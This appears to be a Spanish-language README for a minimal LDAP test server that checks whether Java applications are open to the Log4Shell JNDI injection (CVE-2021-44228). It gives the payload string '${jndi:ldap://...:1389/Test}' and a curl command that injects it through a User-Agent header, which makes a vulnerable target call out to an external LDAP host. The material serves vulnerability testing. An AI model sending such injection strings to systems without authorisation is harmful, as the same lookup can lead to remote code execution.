jndi-ldap-test-server

Este es un servidor LDAP minimalista destinado a probar la vulnerabilidad a ataques de inyección JNDI+LDAP en Java, especialmente CVE-2021-44228.

Cómo probar la vulnerabilidad a CVE-2021-44228

1. Descarga el binario del servidor de prueba para tu plataforma (puedes encontrar todos los binarios en Releases).

2. Ejecuta el servidor de prueba en alguna dirección IP accesible por la aplicación que deseas probar. Es más fácil si puedes ejecutar el servidor en el mismo host que tu aplicación (localhost).

3. Encuentra cualquier dato externo no confiable que tu aplicación reciba del exterior y registre.

4. Obliga a tu aplicación a registrar una cadena que incluya:

   root@kitploit:~

   ${jndi:ldap://localhost:1389/Test}
   

   Por favor, reemplaza localhost con la IP o nombre de dominio de tu propio servidor si no estás ejecutando el servidor de prueba localmente.

   Por ejemplo, si estás ejecutando un servidor HTTP que registra el encabezado HTTP User-Agent, puedes probar la vulnerabilidad llamando a este comando cURL mientras el servidor de prueba está en ejecución:

   root@kitploit:~

   curl my-host -H 'User-Agent: ${jndi:ldap://test-server-host:1389/Test}'
   

5. Si tu aplicación es vulnerable, deberías ver una conexión entrante en el servidor de prueba, y la cadena inyectada será reemplazada por el texto !!! VULNERABLE !!! en tus registros. Si tu aplicación no es vulnerable, la cadena inyectada no debería ser sustituida y el servidor de prueba no debería recibir ninguna conexión.